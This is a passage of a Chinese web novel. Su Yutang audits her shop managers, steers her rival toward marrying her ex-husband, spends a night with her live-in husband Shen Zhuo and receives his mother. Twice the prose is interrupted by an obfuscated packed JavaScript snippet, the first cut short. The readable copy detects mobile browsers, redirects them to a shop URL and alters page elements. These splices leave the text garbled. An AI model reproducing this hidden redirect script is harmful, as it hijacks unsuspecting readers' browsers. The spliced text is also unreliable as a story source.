喝酒出丑，今日苏雨棠只浅浅抿了一口，掌柜们倒是喝下两大坛好酒。 酒过三巡，苏雨棠啪一声放下筷子，忽而进入正题：“想必诸位也吃饱喝足了，咱们来谈谈正事。” 席上登时鸦雀无声，所有目光集中到苏雨棠身上，但她面色不改。 众人这才意识到，他们休夫归来的大小姐，可能并非等闲之辈。 “恰逢年底，今日诸位回去，把三年来的账册都整理出来，明日送到对面的苏记布庄，我要查账。”苏雨棠侧眸望望沈酌，“忘了给大家介绍，这位是沈酌沈郎君，我特意从书院请来帮忙的，他精于术数，会替我核查所有账目。” 从进门起，几乎没人将这个背着书箱出现的年轻郎君放在眼里，一身穷酸气，众人只当他是苏家哪个远房亲戚，大小姐要安排在哪个铺子里打杂的。 此话一出，沈酌成了焦点。 “大小姐，按惯例，不是只查今年的账目么？腊月初也已查过，何须如此费事？大小姐是信不过我们么？”钱掌柜率先开口，左瞧瞧，右看看，用眼神煽动其他掌柜。 掌柜中不乏实在人，当即委屈附和：“是啊，我每年的账都亲自核对过三遍，才敢送去给大小姐，从未出过纰漏，大小姐竟怀疑我们？” “大小姐并非怀疑大家，她定有她的道理，还请诸位冷静，莫要被有心之人利用。”沈酌看出钱掌柜不对劲，意有所指道。 “臭小子，你说谁是有心之人？！”钱掌柜霍然起身，鼻子呼哧呼哧出气，像是要过来揍人。 “心里有鬼，想趁机闹事的，我劝他趁早走，否则，被我查出什么，闹到官府去，恐怕都不好看。”苏雨棠慢条斯理，冷冷的语气有种这年纪少见的威势。 连沈酌也不由侧目。 她小小年纪，怎的时而像个需要人保护的小姑娘，时而又有种历经世事的老练？ 与庄公子短短一日的姻缘，究竟带给她多大的重创，才炼就此刻的她？ 心口揪疼的感受，沈酌已然熟悉。 很奇怪，明明才认识她几日。 原本有些负气的掌柜，冷静下来，终于发现有猫腻。 “账册我都好好收着呢，明日就给沈郎君送来，身正不怕影子歪，我不怕查。”一位身着孔方纹长袄的掌柜拍拍胸脯。 “好！”苏雨棠赞许地看着他，随即环顾四座，语气松快下来，“大家也别紧张，账目没问题，真正尽职尽责的，我会拿出铺子一成的利润作为奖励。至于账目有问题的……” 一成利，可不是小数目，众人眼神里多了几分亮晶晶的期待。 但也有头皮发紧，垂首掩藏神色的。 她顿了顿，才低笑一声，缓解气氛：“可以私下找我或是沈郎君交代清楚，补足金额，或是从后续工钱里扣，我既往不咎，也不宣扬。” 至此，她话锋一转：“若有人不信邪，偏与我耍手段，尽可试试。” 苏雨棠没说，耍手段会是什么后果。 她的语气，足以令贾氏手下的几位不寒而栗。 其他人也看着他们，心如明镜，原来查账是冲这几个来的。 掌柜们都喝多了，或坐轿子，或搭驴车，苏雨棠站在酒楼外，一个个送他们回去。 还有三位住在附近的，打算待会儿走路回家，仍与苏雨棠叙话，说着铺子里的事。 说话间，苏雨棠瞥见不远处，灯笼光圈之外的阴影里，站着一个人，眼巴巴望着她。 现世虽只见过一次，那人眼下还拿面纱遮着脸，苏雨棠仍是一眼就认出来，是与庄锦才偷情的贾娘子。 不去讹庄家，却来找她？倒是稀奇。 面纱，正好给苏雨棠提了个醒。 “沈酌，你也先回去，明日散学后到铺子里替我查账，只要用心办事，我不会亏待你。”苏雨棠今日有些乏，索性放他回家去。 怕他听不懂，特意叮嘱一句：“沈大娘身体不好，你快些回去照应着。” “多谢大小姐，小生告辞。”沈酌施礼。 不知今日母亲可有按时吃药，他是要回去看看。 但苏小姐早些时候吩咐过，命他好好学枕下的画册，自然是命他留宿苏家。 尚不敢唐突，可他必须听从苏小姐吩咐。 沈酌腿长，迈动很快，他得快去快回，晚了恐会打扰苏小姐安寝。 13. 13 打发走其他几位掌柜，酒楼外冷清下来，苏雨棠才调转足尖，朝贾淑慧的方向走去。 “苏，苏小姐。”贾淑慧的语气和姿态，与梦里毫无关系，要多低微就有多低微。 葫芦里卖的什么药？苏雨棠手指捋着帕子，瞧着她，暗暗思索。 算了，想不出来，也不值当她费脑子。 “贾娘子是不是跑错地方了？庄锦才可不在我这里。”苏雨棠似笑非笑。 她当然知道，那人在牢里，可她不是进不去大牢么，贾淑慧敢怒不敢言。 甚至讪笑道：“妾身是来找苏小姐的。” 笑意是硬挤出来的，卑微难堪。 苏雨棠不由想起梦里，她吐血而亡时，贾淑慧得意的眼神。 看来是有求于她，有意思。 贾淑慧四下望望，紧张央求：“苏小姐，可否找个没人的地方说话？” “走吧。”苏雨棠瞥她一眼，侧身往自家铺子走去。 天色已全然暗下来，比白日里更冷，店里人不多。 贾淑慧全程低着头，将面容深深藏起，直到门帘垂下，隔断外头人的目光，她才摘下面纱。 “苏小姐，是我对不起你。”贾淑慧匆匆走到苏雨棠面前，泫然欲泣，“可我已是他的人，我没有退路了，求苏小姐救救妾身！” 苏雨棠避开她的碰触，衣角都没让她沾上。 “收起你的眼泪，到庄锦才面前哭去。我与庄家早已一刀两断，帮不了你什么。” 忙了一天，苏雨棠有些乏，不想搭理与庄锦才有关的人和事，作势要起身。 却被贾淑慧展臂拦住。 苏雨棠冷冷瞥她一眼，她竟噗通跪下来。 “若非走投无路，妾身也不会来苏小姐这里讨嫌，我见不到锦郎，庄家太太又不肯见我，我叫人送信，她却连纳我进门做妾也不愿意。”贾淑慧想哭，但她知道会惹苏雨棠厌烦，生生忍着，“苏小姐离开庄家，把位置让给我，是我不争气，可贾家也算书香门第，家风清正，我只能进庄家门才有活路，苏小姐菩萨心肠，你去帮我求求庄太太好不好？” 让她去求庄母？苏雨棠被她的厚颜无耻气笑了。 她稳稳坐回圈椅中，笑意平和，像是一点也不生气。 “可我不是庄家人，在庄家说不上话。” “不如这样，你回答我一个问题，我替你另想法子，如何？” 苏雨棠有很多理由将她轰出去，毁了她，但将她送进庄家的念头更胜一筹。 脸皮厚，心机深，与庄锦才是良配啊，必须将他们锁死。 已想好如何“帮”她，苏雨棠趁机从她嘴里套话。 “苏小姐尽管问。”贾淑慧看到希望，泪花也不闪了。 哪知，下一瞬，苏雨棠的话宛如惊雷劈在她头顶。 “京城好郎君那么多，你偏偏看上庄锦才，贾娘子，有人指使你吗？”苏雨棠眸光清亮，柔和的眉宇故意拧一丝困惑。 贾淑慧僵滞一瞬，随即摇头：“没人指使，我，我与锦郎是偶然遇到的，我并不知他有婚约。” 不知道是不可能的，毕竟两家的婚事早就定下，只要有心，一问便知。 没人指使，更不可能。 “庄公子污蔑我，被郡主送进大牢，贾娘子或许与庄太太她们一样怨我，但若非他在牢里吐血，请了郎中瞧，我们所有人都会被他蒙骗。”苏雨棠凝着贾淑慧，语速缓慢，将每一个字轻敲在她绷紧的神经，“庄公子得了不举的毛病，往后恐怕不能再有子嗣。” 贾淑慧当场呆怔，脑中每一根神经都在震颤。 庄锦才没用了？那她怎么办？ “这是庄家的不幸，可对贾娘子来说，是天大的喜讯啊！若贾娘子腹中已怀着庄公子的骨肉，便是庄家唯一的血脉，贾娘子不仅能进庄家，还必须以正妻的身份。只要你把消息告诉庄家，庄母会求着你过门。” “不过，庄公子已成废人，恐怕不能与贾娘子琴瑟和鸣了，贾娘子还是三思而行，若不愿意，趁早另寻出路，孩子也别留了。” 苏雨棠意有所指，仿佛她很相信，贾淑慧腹中已怀上庄锦才的骨肉。 说者有心，听者心里更是怦怦直跳。 若她的孩子，是庄家唯一的骨血，庄家的一切都是她的，庄锦才在她面前永远抬不起头，她有什么不愿意？！ 与庄锦才勾搭在一起，她本就是图财。 虽得不到苏家的嫁妆，可庄家也是做生意的，家底不会太薄，看庄锦才平日里花钱的气派就知道。 以她现在的处境，嫁进庄家做正妻，不亏。 确实是老天都在帮她。 可是…… 贾淑慧隔着袄裙抚摸肚皮，那里平坦得让她忐忑。 万一她运气不好，没怀上呢？ “其实我挺讨厌你的，毕竟你毁了我的姻缘，抢走了我的夫君。可庄太太他们更让我恶心，他们私下得知庄锦才不能人道，竟跑来我这里闹事，想逼我回庄家，仍旧做那劳什子正妻，我已招到俊美听话的郎君当赘婿，岂会稀罕他？”苏雨棠默默打量着她神情变化，适时推了一把，语气毫不掩饰对庄锦才的嫌恶，“还是你嫁他吧，如此，他们便不会来烦我了。” 贾淑慧讶然，难怪苏小姐肯告诉她这些，还帮她出主意。 苏小姐招赘的事传得沸沸扬扬，她也听说了，羡慕不已。 若她是家中独女，也握着那么多嫁妆，她也想效仿！ 不过，谁说她就不能了？ 庄锦才不行，等她嫁进庄家，私下养个俊俏郎君，不让外人知道就是。 她没有退路，苏雨棠瞧不上的庄家，是她目前唯一能抓住的好出路。 贾淑慧心口重新热起来。 她眼神变得坚定，她必须怀上孩子。 “多谢苏小姐不计前嫌帮我，我过些日子便找郎中瞧瞧。”贾淑慧打定主意。 “看来贾娘子仍想嫁给他，你与他果真是情比金坚，不离不弃，令人动容。”苏雨棠的话也不知是夸赞，还是讽刺，听得贾淑慧一阵心虚，不敢抬头。 “同为女子，我知你的不易，这样吧，明日我便求郡主，放庄公子回府。贾娘子若想让庄家另眼相看，大可告诉庄母，这是你求来的恩典，我不会拆穿的。” 苏雨棠愿意为她抬身价，为她做正妻铺路？ 贾淑慧眼眶发红，在她几乎要被家人逼死的时候，真正帮她的，竟是她的情敌。 这厢，沈酌检查了药量，看到残渣，确定母亲喝了药，问起母亲今日的感受。 “好些了，咳嗽起来，喉咙不似先前那般疼。”沈大娘欣慰地望着沈酌，“多亏了苏小姐，幸好你读过书，能帮上苏小姐的忙，一定要用心做事，替娘报答苏小姐的大恩。” “娘，儿子知道。”沈酌闷声应，微微失神。 铺子里查账的忙，倒是好帮，只是开枝散叶的事，非君子所为。 他想在家多磨蹭一会子，又想早些去瞧苏小姐还有什么吩咐，天人交战。 沈大娘半点没瞧出来，针尖在鬓发间擦了擦，凑到灯前补衣裳，絮絮道：“说起来，苏小姐确实是女中豪杰，她休夫招赘的事，你也听说了吧？听说那赘婿很英俊，出身贫贱，但很得苏小姐喜爱，招赘宴很风光。” 说着说着，她动作一顿，忽而抬眸，正色教训：“阿酌，你要好好读书，将来入仕为官，决不能为了银钱，自甘堕落，去给人家做赘婿，败坏门风，记住没有？！” 沈酌一愣。 母亲的教训晚了一步，他已经做了人家的赘婿。 “娘放心，儿子不会。”为宽她的心，沈酌继续道，“苏小姐雇我做账房，工钱不少，且阿娘的病眼看着能治好，往后我们的日子只会越过越好，儿子也不必如此，母亲不必多虑。” 沈大娘点头，继续缝补：“你知道就好。” “娘贱命一条，本不想糟蹋这些好药，想着偷偷卖掉，换银子，供你买笔墨、交束脩、考科举的，可听到苏家赘婿的传闻，娘心里很不踏实。若娘不在，你年纪轻，走上岔路怎么办？” “娘！”沈酌大惊，“您若再不顾惜性命，儿子连母亲都照顾不好，有何面目继续读书？” “你别急，娘再也不会了。”沈大娘红着眼，“娘要多活几年，看到阿酌娶妻生子，为官做宰，为娘挣诰命呢。” 原来母亲肯吃药，也是受了苏小姐影响。 沈酌心弦微动，他欠苏小姐太多太多。 “阿酌，明日去铺子里帮忙的时候，你问问苏小姐何时得空，娘想去道个谢。”沈大娘仍惦记这事儿。 “好，见到苏小姐，我定会问问。”时辰不早，沈酌拿走沈大娘手中针线、衣裳，“娘，别熬坏了眼睛，明日再缝不迟，早些歇息，养好身子要紧。” 沈大娘知他孝顺，从善如流起身，拍拍他的手：“你看书也别太晚。” 估摸着沈大娘睡熟了，沈酌吹熄油灯，悄然出门。 这时辰，苏小姐房里竟仍亮着灯。 不消说，定是在等他过来。 沈酌脸颊发烫，下意识抬手，摸到硬质面具，一愣，紧张感反而消散了些。 进到屋内，熟悉的香气钻进他鼻尖，沈酌想起她醉醺醺香扑扑的一吻，脚步不自觉放缓。 屋子就这么大，再慢也很快就到屏风外。 “苏小姐。”他在屏风外施礼。 里头的人没应声。 在外如何有手段，闺房里，她仍会害羞吧。 想到昨夜，沈酌无声弯起唇角。 可绕进屏风，他愣住了。 床铺整整齐齐，没人动过，苏小姐不在。 忙着铺子里的事，晚了么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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回来路上，她就想好了，靠舅舅他们庇护不是长久的事。 她要靠自己过好往后的日子，照顾好阿娘。 她要让所有人看到他与三郎如何恩爱，看到她休夫招赘也能过得有滋有味，让庄家人彻底死心，莫要再打她的主意。 她要与三郎圆房，她想知道梦里没有体会过的感受，那种怀抱着自己生命延续的感受。 本想明晚请他过来办事，没想到，这听话的愣头青今夜自投罗网。 “苏小姐。”沈酌气息不稳。 苏雨棠纤腰如柳，弯下来，凑近他，感受到他明显升温的鼻息。 “我说话算数，给三郎买了新衣袍，你脱了衣服试试，让我瞧瞧合不合身。”苏雨棠凝视着他，不泄露一丝羞赧，大大方方道。 沈酌心口一颤。 苏小姐是在提醒他，若他不顺从，便是言而无信吗？ 毕竟，那契约是他亲口答应的。 “我，我一介布衣，身无长物，配不上苏小姐，只怕苏小姐将来后悔。”沈酌道出心里话。 不是他不愿，是他不想伤害她，冒犯她。 “只要是苏小姐的吩咐，沈某万死不辞。”苏雨棠吐词清晰。 沈酌想起来了。 “三郎，这话是你说的。才几日，就不作数了？” “你们男人的承诺，果然都信不得。”苏雨棠轻哼一声，立起腰肢。 她拉开与他的距离。 他们之间的维系，何其薄弱，似乎只要她想，随时可以将他推开，斩断这段理还乱的关系，半点不由他。 沈酌心口蓦地揪紧。 你们男人，她只有过两个男人，一个是庄锦才，一个是他。 苏小姐是想起了庄锦才得海誓山盟，想起那人的负心薄幸吗？ 她招赘究竟是看上他这个人，还是心有不甘，只想气庄锦才而已？ 若是后者，说明庄公子在她心里仍有不轻的份量。 她曾经属于过庄公子吗？ 不知怎的，沈酌心中升腾起暴雨前云海一般汹涌的嫉妒。 “你若不愿，我也不勉强。”苏雨棠没留意他的眼神变化，佯怒道，“你走吧。” 她一个姑娘家，都这般主动了，他还不肯与她亲近，她也会害臊啊！ 瞬间，她腰肢被快速伸来的大掌扣紧。 这推三阻四的男人，竟将她捞到腿上，托住她后颈。 苏雨棠坐在他腿上，有些懵。 后颈细微的莫名的痒意，引得她仰起细颈缓解。 少女漂亮的眸子里，闪动着惊诧，白净秀丽的小脸像盛夏湖面上娇美的芙蕖。 沈酌呼出一口克制的热气，俯低寸许：“冒犯了。” 他吻住觊觎一日的朱唇。 水到渠成，气息相溶。 14. 14 沐洗过后，钻进新换的绸衾里，已至夤夜。 外头只能听到风吹树枝的沙沙声，郎君胸膛热烘烘的，都催人困倦。 苏雨棠睡得很沉，早膳比平日里晚了一个多时辰。 睁眼便不见了沈酌的身影，苏雨棠没好意思问。 直到吃饱喝足，漱了口，拿帕子擦拭隐隐发麻的唇瓣时，才慢慢开口：“郎君何时走的？” 被褥是玉簪换的，她知道成了，也看出小姐在害羞，抿唇忍笑应：“昨儿夜里，小姐睡熟，郎君便回了。” 他倒是谨守本分，苏雨棠轻咬朱唇，轻嗯一声。 “小姐。”玉簪神色迟疑，“庄太太带着庄家老太太来了，去的老太太院里，约莫有小半个时辰了，奴婢猜测，恐怕是为了庄公子。” 苏雨棠也这么认为：“祖母没派人来找我？” “还没。”玉簪摇摇头。 略想想，苏雨棠笑了：“不急，舅舅、舅母他们还在京城，祖母还不敢擅自做主。” 去阿娘院里请安时，舅母也在，正陪着阿娘说话。 “舅母。”苏雨棠亲昵地唤，坐到她身侧，手挂到她臂弯，“昨日忙着铺子里的事，怠慢了舅舅、舅母，不知今日舅母可得空？舅母难得来京城，我想陪舅母四处逛逛。” “这敢情儿好，我正找你阿娘逛街去呢！至于你舅舅和表哥，跟咱们逛不到一起，随他们去。”温舅母笑着拍拍她手背。 马车套好，张叔和王叔驾车，三人说说笑笑朝街市去。 苏雨棠想孝敬两位长辈，却找不到机会，每每想付银子，都被阿娘和舅母抢了先。 “哪能让你一个小辈出钱？棠棠眼光好，替舅母再挑两身衣裳，还有京中吃食，哪些好吃，我带些土仪回云州去。” “舅母才来，怎么就想着回去？不如多住些日子，大表哥不是要参加春闱么？”苏雨棠拉住她衣袖挽留。 温舅母慈爱地笑：“云州也好些事等着料理呢，哪能待到那时候？等陪你们娘儿俩过了年，我和你舅舅、老二先回去，老大春闱还不知道怎么样呢，这几日给他先把房子租好，珍娘时不时帮我盯着些，看这臭小子有没有偷懒。” 后头这句自然是对温氏说的。 温氏忙道：“嫂子还同我客气什么？就让云川在苏家住下，嫂子莫不是嫌苏家院子小？还是嫌妹妹不当家？” “是啊，舅母，就让大表哥住下，不必另找房子了！”苏雨棠也劝。 温舅母本来是怕麻烦她们，毕竟苏家还有个不好相处的老太太在，大房又没有男丁。 话说回来，正因没有男丁，才更应该让老大留下，照应着些，有事好及时往云州送信。 “成，就这么定了。”温舅母颔首。 姑嫂二人挑头面的银楼，离顺天府近，苏雨棠同丫鬟说一声，便带着玉簪来到府衙。 “民妇苏氏，拜见齐大人。”苏雨棠姿态恭敬施礼。 府尹一眼便瞧见女子腰侧悬着的玉佩，雕刻太平有象纹样，跟明珠郡主戴过的那块一模一样。 “苏小姐不必多礼，快请坐。”齐大人笑容满面，招呼人上茶。 寒暄几句，苏雨棠表明来意：“冒昧打扰，其实是想问问庄公子的事，不知齐大人查清楚了么，可否透露一二。” 又不是多复杂的案子，齐大人早已查得明明白白，没放人，也是在等郡主的意思。 郡主本就是为维护苏小姐，如今苏小姐问起，他自然知无不言。 果然，贾淑慧与二婶有关，她是二婶的远房侄女！ “既然他已承认，庄老太太手臂摔折与我无关，也在牢里吃了苦头，想必往后不敢再犯，还请齐大人行个方便，放他出来，我不追究了。”苏雨棠答应贾淑慧的事，一点儿没忘。 齐大人疑惑了：“那贾氏呢？苏小姐不追究么？要不要接着查？” “不用了，有劳齐大人费心，那毕竟是我二婶。”苏雨棠轻叹一声，状似无奈。 齐大人大抵明白了，恐怕逃不过家产之争。 幸而，苏小姐有胆识，还有郡主做靠山，不然得被二房生吞活剥。 他为官多年，大理寺、刑部也待过，比这更过分的例子都见过不少。 “苏小姐，就算对亲人，也不能太心软。”看着比他女儿还小些的苏雨棠，齐大人忍不住提醒。 苏雨棠能感觉到他的善意，展颜致谢：“多谢齐大人，我记下了。” 回到苏家，庄家人已不在，倒是老太太在温氏院里坐着。 膳桌上的菜肴已冷透，没动过。 苏雨棠看在眼里，眉心微动。 “回来了？午膳可用过？”老太太瞥一眼膳桌，“凉了，得叫下人热热。” 老太太竟会等阿娘用膳，太阳打西边出来了？还是舅舅让阿娘改嫁的事，起了作用，祖母知道对阿娘好些了？ “吃过了？母亲还没吃么？”温氏忙吩咐丫鬟端下去热。 苏雨棠没看她，自顾自坐下，捧起丫鬟新上的热茶。 “棠棠，庄家人上门，想再娶你过门，祖母没答应。”老太太望着苏雨棠的侧脸，语气不见从前的威严。 “哦？还有这事儿？祖母不答应，是他们给的条件祖母不满意？”苏雨棠将茶盏搁到桌上，笑意不达眼底，不冷不热应。 “棠棠，祖母已经知道错了，也想补偿你们母女，你就不能与祖母好好说说话么？非得夹枪带棒的？”老太太脾气有些压不住。 她都违背心意，拒绝庄家了，还低声下气来讨好晚辈，这丫头却不领情，怎能不气？ “补偿？祖母是说，等我们用膳，便算补偿么？嗤，一回便想抵消从前种种苛待，真划算，这家里最精打细算的，还得是祖母您啊。”苏雨棠挑眉望她，“既然知道孙女夹枪带棒，祖母大可待在屋里将养，别出来找气受。” 苏雨棠故意这么说，她想看看，祖母的身段能低到什么程度。 若换做以前，祖母当即便要请家法。 可眼下，祖母气得浑身发抖，竟生生忍下。 “罢了。”老太太摇摇头。 饭菜重新呈上来，她却没有胃口，温氏下意识为她布菜，刚有动作，老太太便从位置上弹起来制止：“珍娘，你陪着我吃些，或是看着我吃，可千万别动手。” 小心瞥一眼苏雨棠，又道：“否则，棠棠又以为我在苛待你，越发对我这个做祖母的恨之入骨了。” 江山易改，本性难移，苏雨棠更相信祖母突然转性，是有所图。 不过，就算假装好，也是她和阿娘得好处。 苏雨棠没再拿话刺她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550337|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而是起身施礼：“祖母慢用，我还有事，先告退。” 乘轿出府，她想起沈酌昨夜所求。 沈大娘想见她。 与人家儿子做了一夜夫妻，也是该见见。 “玉簪，安排一顶轿子去接沈大娘，接到铺子里，沈郎君散学的时辰到就成。” 苏雨棠吩咐妥当，又特意去铺子里买了两身厚夹袄。 她大抵还记得沈大娘的模样，与沈酌一样，都瘦。 快过年了，她特意买的喜庆又不扎眼的颜色、纹样，只当是沈大娘儿子新婚，她给沈大娘的孝敬。 不是正经儿媳，但该有的她也不短沈家。 这是她的诚意，只盼沈酌是个有心肝的，将来为官做宰，莫忘了提携她。 暮色渐合，沈大娘的轿子在店门外落地。 苏雨棠亲自出来接，她迎上沈大娘茫然的、胆怯的目光，落落大方扶住对方手臂：“沈大娘，我是苏雨棠，大娘可与我阿娘一样，唤我棠棠。” 这可是救命恩人，沈大娘觉得会失礼，可好不容易才见着，她又不好意思拂苏小姐的好意。 支支吾吾唤：“棠，棠棠。” 苏雨棠脆生生应：“诶！” 将人请进雅间，桌上已摆好茶水、点心。 茶水微烫，点心是热的，香气扑鼻。 “承蒙苏小姐搭救，我无以为报，一直想来给苏小姐磕个头，没想到苏小姐会特意派人去接，实在折煞我了。”沈大娘曲起便要跪。 苏雨棠忙扶住她。 沈大娘尚未用晚膳，午膳也是囫囵喝了一碗稀粥，早饿了。 点心的香气，勾得她肚子咕噜噜一阵叫。 沈大娘窘迫不已，红着脸低下头。 苏雨棠却不在意：“是我招呼不周，大娘别见怪。” 她将扶着对方坐下：“先吃些点心垫垫肚子，等沈郎君到了，我安排好铺子里的事，再请大娘用晚膳。” “不敢不敢。”沈大娘嘴里念叨着，手里却被塞了块木樨香糕。 心心念念来道谢，真见到了，沈大娘却自惭形秽，言行举止都紧绷绷的。 苏雨棠是生意人，只要她想，便很容易跟人聊得热络。 沈酌到时，在门口便听到母亲的笑声。 “棠棠，大娘从前手艺也不差的，尤其是包子，改日我做了给你送来。” 母亲唤苏小姐棠棠，她们何时这般熟？ “是吗？那我可要尝尝！” 熟悉的，娇俏的嗓音传来，听得沈酌心尖发颤。 自昨夜她睡熟后，他们还未见过。 沈酌迈步进门，掀开门帘：“苏小姐。” 他目光只往她裙面飘去，没落实。 银红色裙摆，似一团火，他心口冰封一日的火种因这莫名的召唤，猛然跳动。 他迅速平复，故作镇定，避开赐予他浓烈情感，将他从冷寂的冰原拉入红尘的佳人，望向沈大娘：“母亲怎么来了？” 昨夜苏小姐没给准话，后来她倦极了，他便没再问。 苏雨棠脑仁有神经在跳动，有种不好的预感。 果然，只听沈大娘困惑道：“不是你跟棠棠说，棠棠才派人去接我的么？” “诶？阿酌，你何时同棠棠说，娘想来拜见的？” 15. 15 何时同她说的？ 苏雨棠只紧张一瞬，便踏踏实实靠在椅背上，淡淡望着沈酌，满脸写着不熟。 她脸上看不出一丝心虚，甚至从沈酌眼神中捕捉到一闪而过的窘迫时，她有些想笑。 真真是好问题，换做是她，也不知该如何回应。 但对未来宰相而言，应算是小场面吧？ 她好整以暇等着。 沈酌没看到她唇角泄露的那丝浅笑。 垂眸思索着最合适的托词。 可他太过心虚，思维远不及平日里敏捷。 就在沈大娘要发散思维猜测时，沈酌终于开口:“苏小姐昨日出了几道术数题，儿子解好后，赶早送来给苏小姐，顺便将母亲的心意说了。那会儿忙着往书院赶，还险些忘记。本想等散学回去接母亲，没想到母亲已被苏小姐提前接来。” 苏小姐请他做账房，先考考他的本事，很合理，可等说完，沈酌才后知后觉，他画蛇添足，补了个明显的漏洞。 他这时辰出现在铺子里，便说明散学后并未回家。 沈酌下意识看向苏雨棠。 事后二人第一次对上视线。 目光相撞时，两人心下俱是一颤。 沈酌攥紧指骨，指尖几乎戳进肉里，才定住目光，没躲闪。 而苏雨棠也深切体会到，肌肤相亲带来的影响。 从前她看沈酌，几乎当他是一件赏心悦目，身价必涨的古玩。 可经过昨夜，再见到他，她会不由自主想起他身上的温度，清瘦却旺盛的体魄，以及他指腹从她肌肤底下勾起的情丝。 她不能不将他当个男人看待。 这个男人谎话信口拈来，却好意思等着她帮他圆谎。 行吧，看在他听话，且令她愉悦的份儿上。 “大娘，您真是教子有方，将沈郎君教得这般好。”说着，她侧眸扫了沈酌一眼，眼底藏着打趣的浅笑，“他术数很好，我可以放心把账本交给他了。有您这么正直的母亲，相信沈郎君不会辜负我的期望。” 儿子怪怪的，他虽孝顺，可外头的事很少同她说得这般细致。 沈大娘正在心里琢磨，一听苏雨棠的话，哪还能分心细想？ 当即向苏雨棠表态：“棠棠你放心，若阿酌误了你的事，大娘第一个不饶他！” 掌柜们陆续送来账本，只有钱掌柜、胡掌柜、吴掌柜三位还没动静。 巧的是，正好都是二婶用过的人。 没有猫腻是不可能的，但苏雨棠心里有底，不着急。 “沈郎君，你先核查现有的账册。”苏雨棠淡声吩咐，“我给你八日时间，够不够？” 沈酌暗忖，苏小姐是想在除夕前解决。 他瞥一眼账本数目，又翻开最上头的一本，略扫几页，长指轻压封皮，合上账本，正色应:“五日后，我会将核查结果呈给大小姐。” “五日？”苏雨棠看看几箱账本，又看向他，不可思议，“沈郎君还有父子布置的课业要做，打算不眠不休么？” 苏小姐在关心他吗？是对亲密眷侣的那种关心，还是她对手底下做事的人都体恤？ 苏雨棠以为他心里没底，在迟疑，拍拍账本道:“我虽想早些看到结果，倒也不是那等花点银子就把人往死里压榨的恶主，就八日吧，需要什么就提，八日后我必须看到结果。” 沈酌明白了，她只当他是手下做事的帮工，并未掺杂儿女情长。 她并不完全相信他的能力和品行，不信他能说到做到。 “大小姐放心，沈酌虽贫贱，却也算言出必行，五日后，我会做好。”她未必会关心，但他还是忍不住宽慰她，“不必废寝忘食，书院后日休假，十五后再开山门。” 哟，原来是要休假了，难怪他敢夸下海口。 他倒是执拗又耿直，即便时间充裕，他也完全可以按她给的期限来，或是趁机多要工钱。 但他没有。 苏雨棠目光从他俊脸上寸寸移过，最后落在他薄薄的轻抿的唇，心思不由自主游离到旁处。 沈酌休假，那她的赘婿便可以在人前增加些存在感了，正好配合她演几出戏，也免得人起疑。 那些不算顶要紧的事，苏雨棠略想想，神思又回到账本:“好，那就拜托沈郎君了。” 雅间布帘内，沈大娘吃着点心，时而朝外望一眼。 听不清儿子和苏小姐在说什么，但也能看出，两人神色郑重，是在谈正事。 账房可不是随便请的，苏小姐如此器重阿酌，沈大娘受宠若惊，又为儿子的优秀被人看到而欣慰。 多了可靠的进项，她不由想得长远些。若儿子能办好差事，攒些银钱，等入夏的时候，是不是就能娶上媳妇了？ 想到这里，她又摇摇头。 还是得等阿酌考中进士，不再是白身，兴许能娶上官宦家的小姐，有人帮衬，仕途能更顺利些，像他爹一样。 唉，若她出身好，夫君也不会一高中就不要她了。 她得从一开始就替阿酌找个好的，免得他将来步他爹后尘，害人家姑娘伤心。 可惜，因她的病，阿酌错过秋闱，还得再等三年。 沈大娘不知多少次感叹，都是她拖累了阿酌。 三年后，阿酌便二十有一，年纪不小，即便高中，官位也低微，不知有没有人家瞧得上？ 多思无益，她神思又重新回到柜台侧的男女身上。 苏小姐生得真好看，如她前几日想象的那般，美丽仁善观音相。 诶？她家阿酌也不差呀。这么瞧着，俩人样貌可真般配！ 念头一起，沈大娘愣了愣，忙呸呸两声，快速掐灭。 她真是想儿媳想疯了。 苏小姐是千好万好，可就是太能干了，还喜欢招俊美郎君做赘婿。阿酌还是得娶个温柔贤惠，宜室宜家的。 若有个苏小姐这样的闺女，沈大娘梦里都要笑醒，可若是儿媳，只是想象，沈大娘便如坐针毡，恨不得站到二人中间，挡住阿酌的脸。 苏小姐大慈大悲，可千万不能看上她家阿酌啊。 天黑下来，苏雨棠刚说先去酒楼用膳，吴掌柜却姗姗来迟。 “大小姐，我有事想单独禀报，不知方不方便？”吴掌柜强颜欢笑，眼神透着淡淡的死意。 不知道的，还以为他在跟等着砍他头的刽子手说话。 “玉簪，你先带沈大娘和沈郎君去酒楼。”苏雨棠转身往里走，“跟我来。” 吴掌柜擦了把汗，提着装账本的木箱紧随其后。 在里间坐定，一抬眸，却见沈酌站在门槛外，苏雨棠挑挑眉，语气却显生分:“沈郎君还有事？” 沈酌轻咳一声：“我不饿，在门口守着，恭候大小姐吩咐。” 吴掌柜毕竟是壮年男子，他怕争执起来，苏小姐会吃亏。 且他在门口能听个一二，万一吴掌柜蒙骗苏小姐，他也能从旁提醒。 他是她的账房，她的赘婿，断无撇下她先动筷的道理。 这也算沈酌职责的一部分，苏雨棠没说什么，点点头，没瞧吴掌柜，饮一口香茶润喉，这才慢条斯理问:“吴掌柜想禀报何事？” 布庄里未摆炭盆，屋里清清冷冷，吴掌柜脑门的汗水却已淌到颧骨下。 “先擦擦汗，想好再说不迟，我说过的话都作数。”苏雨棠也不催。 “是，是，我自然相信大小姐。”又擦了把汗，吴掌柜终于做出决断，耷拉着眼皮，骨头瞬间软下来，跪下求，“大小姐，小人全都交代，可那都是二太太逼的，小人还有一家老小要养，求大小姐网开一面！” 一个平日里颇有脸面的掌柜，在苏雨棠面前脊背佝偻，涕泗横流。 